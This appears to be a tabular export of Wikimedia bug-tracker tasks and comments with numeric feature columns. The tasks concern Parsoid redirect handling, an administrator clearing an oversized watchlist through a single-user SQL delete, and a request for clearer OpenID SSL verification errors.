**Severity**: normal",Medium,50.0,1362608760,1370996903.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-nmf7tpcq5shuju5asec2,task_description,resolved,True,c2,1,False,False,True,-25,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9166666666666665,0.7222222222222222,"When editing page with redirect, I can edit just the page to where it is redirected.

--------------------------
**Version**: unspecified
**Severity**: normal"
215580,Parsoid: Redirects should not be served as HTTP 200 with contents of target,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934103,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
215575,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"I removed our previous behavior of following redirects when encountering a redirect page, so we now return the regular redirect content as expected. Closing as fixed.",,,1370996903,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,3.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,10.0,0.0,0.0,0.0,4.862068965517241,0.896551724137931,"I removed our previous behavior of following redirects when encountering a redirect page, so we now return the regular redirect content as expected. Closing as fixed."
215569,Parsoid: Redirects should not be served as HTTP 200 with contents of target,Sorry: the wikitext parsing bit landed but I didn't yet make any changes to how the server handles redirects.  One more patch is needed to change the http status and turn off the old redirect code. Reopening.,,,1368776564,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-15,True,2.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,4.0,0.8604651162790697,Sorry: the wikitext parsing bit landed but I didn't yet make any changes to how the server handles redirects.  One more patch is needed to change the http status and turn off the old redirect code. Reopening.
215562,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"I have not tested the HTTP responses yet, but am happy to close. Please reopen if you find issues (or open a new bug).",,,1368771676,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-15,True,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2758620689655173,0.9655172413793104,"I have not tested the HTTP responses yet, but am happy to close. Please reopen if you find issues (or open a new bug)."
215556,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"As the gerrit commit is merged, can this now be closed?",,,1368771580,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,1.0,"As the gerrit commit is merged, can this now be closed?"
215550,Parsoid: Redirects should not be served as HTTP 200 with contents of target,*** Bug 48271 has been marked as a duplicate of this bug. ***,,,1368568441,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48271 has been marked as a duplicate of this bug. ***
215545,Parsoid: Redirects should not be served as HTTP 200 with contents of target,Related URL: https://gerrit.wikimedia.org/r/61799 (Gerrit Change I1bd36f32a5e46b90261895e5499a0308875e5e05),,,1367429750,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I1bd36f32a5e46b90261895e5499a0308875e5e05)
215541,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"""#REDIRECT [[www.google.com]]"" behaves just the same way as ""#REDIRECT [[Foo]]"", so not that unexpected.",,,1367351972,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.033333333333333,0.6333333333333333,"""#REDIRECT [[www.google.com]]"" behaves just the same way as ""#REDIRECT [[Foo]]"", so not that unexpected."
215535,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"Note: test ""#REDIRECT [[www.google.com]]"" which currently does unusual things.",,,1367350491,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,3.888888888888889,0.8333333333333334,"Note: test ""#REDIRECT [[www.google.com]]"" which currently does unusual things."
215528,Parsoid: Redirects should not be served as HTTP 200 with contents of target,See http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Redirects for the preliminary DOM spec.,,,1366225211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,See URL for the preliminary DOM spec.
215521,Parsoid: Redirects should not be served as HTTP 200 with contents of target,See bug 47328 for the corresponding Visual Editor bug.,,,1366223242,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,0.9,See bug 47328 for the corresponding Visual Editor bug.
215514,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"From IRC discussion w/ GWicke:

gwicke: I think that we should not resolve redirects for top-level requests
gwicke: should return a meta instead that lets the VE edit the redirect
cscott-free: yeah, although editing ""#REDIRECT [[foo]]"" is a bit awkward, that's an <ol>
gwicke: obviously we'd expose it as <meta property=""mw:Redirect"" content=""foo""> or something like that
cscott-free: i think i learned recently that there can be other 'stuff' in a redirect?
gwicke: arguably this should eventually end up in the head instead of the content
gwicke: but for now we should probably keep it in the content area in the interest of round-tripping
cscott-free: that makes sense.
gwicke: cscott: there can be page content following it that is normally ignored by MW
gwicke: but we should probably still round-trip it
gwicke: hence the idea to keep it inline for now rather than returning a blank body with meta info in the head
(01:58:07 PM) cscott-free: i suspect there should be a corresponding VE bug for editing the <meta property=""mw:Redirect"" content=""foo"">
(01:58:08 PM) gwicke: maybe we should use link / rel / href again
(01:58:21 PM) gwicke: for the same relative link resolution reasons

(see bug 45206 comment 5 for a brief discussion of the meta/link issues)",,,1366221726,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-19,True,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,5.333333333333333,1.0,0.0,0.3333333333333333,0.0,3.0,1.0,0.0,0.0,1.0,3.0,0.0,7.333333333333333,8.666666666666666,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,2.6666666666666665,2.3333333333333335,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,13.666666666666666,1.6666666666666667,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,6.0,1.6666666666666667,4.333333333333333,1.0,1.0,7.333333333333333,0.0,0.0,0.0,0.3333333333333333,5.0,0.3333333333333333,1.6666666666666667,0.0,4.666666666666667,8.666666666666666,5.0,0.3333333333333333,2.6666666666666665,0.0,4.666666666666667,0.0,0.6666666666666666,2.3333333333333335,0.0,1.3333333333333333,0.0,0.0,3.3333333333333335,3.7036798396334483,0.6346291523482246,"From IRC discussion w/ GWicke:

gwicke: I think that we should not resolve redirects for top-level requests
gwicke: should return a meta instead that lets the VE edit the redirect
cscott-free: yeah, although editing ""#REDIRECT [[foo]]"" is a bit awkward, that's an <ol>
gwicke: obviously we'd expose it as <meta property=""mw:Redirect"" content=""foo""> or something like that
cscott-free: i think i learned recently that there can be other 'stuff' in a redirect?
gwicke: arguably this should eventually end up in the head instead of the content
gwicke: but for now we should probably keep it in the content area in the interest of round-tripping
cscott-free: that makes sense.
gwicke: cscott: there can be page content following it that is normally ignored by MW
gwicke: but we should probably still round-trip it
gwicke: hence the idea to keep it inline for now rather than returning a blank body with meta info in the head
(01:58:07 PM) cscott-free: i suspect there should be a corresponding VE bug for editing the <meta property=""mw:Redirect"" content=""foo"">
(01:58:08 PM) gwicke: maybe we should use link / rel / href again
(01:58:21 PM) gwicke: for the same relative link resolution reasons

(see bug 45206 comment 5 for a brief discussion of the meta/link issues)"
215509,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"If you ask Parsoid for (say) http://localhost:8000/en/OLPC you get the page for ""One Laptop Per Child"" (the <title> is correct), but the returned page contains {{Redirect|OLPC}} in addition to the text from the ""One Laptop Per Child"" article.

So in addition to the redirect being transparent, we're also getting bogus extra content in the parsed version.",,,1366221094,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,1.0,3.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,17.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,5.0,14.0,1.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.6184210526315788,0.6578947368421053,"If you ask Parsoid for (say) URL you get the page for ""One Laptop Per Child"" (the <title> is correct), but the returned page contains {{Redirect|OLPC}} in addition to the text from the ""One Laptop Per Child"" article.

So in addition to the redirect being transparent, we're also getting bogus extra content in the parsed version."
215501,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"Juan,

Thanks for your bug report; you are correct. This is because Parsoid gives the wrong response for pages with redirects. Pushing over to them.

Current behaviour:
* 200 response with the contents of the target page


On what we'd expect, I'd suggest either type A (but it's messy architecturally) or type B (but not sure about user agent support for HTTP 300):

Expected behaviour - type A:
* when in 'reading mode', a 302 to the page with the redirect;
* when in 'editing mode', a 200 with the contents of the page (to edit the redirect / etc.)

Expected behaviour - type B:
* a 300 response with the first link (for regular browsers) being off to the target of the page, and the second being the ?redirect=no or whatever version to be able to edit it.",,,1362760613,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.5,4.5,2.5,0.5,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,2.0,13.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.5,1.0,1.0,1.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,21.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.5,2.5,7.5,1.5,3.0,10.0,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,3.5,13.5,1.5,0.5,2.0,0.0,3.5,0.0,2.0,1.5,0.5,1.0,0.0,0.0,1.0,3.4792429792429793,0.6846153846153846,"Juan,

Thanks for your bug report; you are correct. This is because Parsoid gives the wrong response for pages with redirects. Pushing over to them.

Current behaviour:
* 200 response with the contents of the target page


On what we'd expect, I'd suggest either type A (but it's messy architecturally) or type B (but not sure about user agent support for HTTP 300):

Expected behaviour - type A:
* when in 'reading mode', a 302 to the page with the redirect;
* when in 'editing mode', a 200 with the contents of the page (to edit the redirect / etc.)

Expected behaviour - type B:
* a 300 response with the first link (for regular browsers) being off to the target of the page, and the second being the ?redirect=no or whatever version to be able to edit it."
47380,Clear specific user's watchlist that is too large to load (HTTP Error 500),"**Author:** `mattbisanz`

**Description:**
Please clear the watchlist of user Carlossuarez46 at en.wp because it has become too large for him to load the page and edit it. See http://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=540347817#Cannot_edit_watchlist

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: http://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=540347817#Cannot_edit_watchlist",Medium,50.0,1361825880,1362147678.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-tacmfcmzyzppgwxzok5o,task_description,resolved,True,c2,1,False,False,True,-27,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.411764705882353,0.5882352941176471,"**Author:** CODE

**Description:**
Please clear the watchlist of user Carlossuarez46 at en.wp because it has become too large for him to load the page and edit it. See URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: URL"
215040,Clear specific user's watchlist that is too large to load (HTTP Error 500),Max Semenik cleared my watchlist on Commons,,,1362147678,,PHID-USER-j4jntnatcouoxfrk74sh,False,,,PHID-TASK-tacmfcmzyzppgwxzok5o,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,43.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.285714285714286,1.0,Max Semenik cleared my watchlist on Commons
215034,Clear specific user's watchlist that is too large to load (HTTP Error 500),"For future reference, please file a separate request to track, otherwise this specific bug report would never be closed.",,,1362076855,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tacmfcmzyzppgwxzok5o,task_subcomment,,True,c2,1,True,,,-26,True,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,0.9545454545454546,"For future reference, please file a separate request to track, otherwise this specific bug report would never be closed."
215025,Clear specific user's watchlist that is too large to load (HTTP Error 500),Can you also do the same for Jarekt on Commons. I am also unable to edit my watchlist.,,,1362065923,,PHID-USER-j4jntnatcouoxfrk74sh,False,,,PHID-TASK-tacmfcmzyzppgwxzok5o,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,15.0,15.0,10.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.45,0.9,Can you also do the same for Jarekt on Commons. I am also unable to edit my watchlist.
215021,Clear specific user's watchlist that is too large to load (HTTP Error 500),"mysql:wikiadmin@db1017 [enwiki]> select count(*) from watchlist where wl_user=23407;
+----------+
| count(*) |
+----------+
|   221044 |
+----------+
1 row in set (0.12 sec)


Seriously?


mysql:wikiadmin@db1017 [enwiki]> delete from watchlist where wl_user=23407;
Query OK, 221044 rows affected (1 min 53.68 sec)

mysql:wikiadmin@db1017 [enwiki]> select count(*) from watchlist where wl_user=23407;
+----------+
| count(*) |
+----------+
|        0 |
+----------+
1 row in set (0.07 sec)

mysql:wikiadmin@db1017 [enwiki]>",,,1362010363,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tacmfcmzyzppgwxzok5o,task_subcomment,,True,c2,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,10.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,3.570217096336499,0.533921302578019,"mysql:wikiadmin@db1017 [enwiki]> select count(*) from watchlist where wl_user=23407;
+----------+
| count(*) |
+----------+
|   221044 |
+----------+
1 row in set (0.12 sec)


Seriously?


mysql:wikiadmin@db1017 [enwiki]> delete from watchlist where wl_user=23407;
Query OK, 221044 rows affected (1 min 53.68 sec)

mysql:wikiadmin@db1017 [enwiki]> select count(*) from watchlist where wl_user=23407;
+----------+
| count(*) |
+----------+
|        0 |
+----------+
1 row in set (0.07 sec)

mysql:wikiadmin@db1017 [enwiki]>"
47324,[SSL] OpenID consumer when authenticating an https://OpenID: show a distinct verification error message in case of host verification failures (e.g. certificate or CA problems),"OpenID consumer when authentication an https://OpenID: show a distinct verification error message in case of untrusted (e.g. self-signed) CA

Currently, you see only the general message ""Verification error"", even when the consumer wiki knows that the CA is untrusted.

Inform the user that the verification failed because the OpenID server uses an untrusted (e.g. self-signed) certificate.


Additional improvements:

+ allow to show the server certificate fingerprints (sha-256, sha-1, md5) (must have)
+ allow to overwrite the single CA error(warning) and accept even an untrusted OpenID on extra user action. (nice to have for testing)

--------------------------
**Version**: master
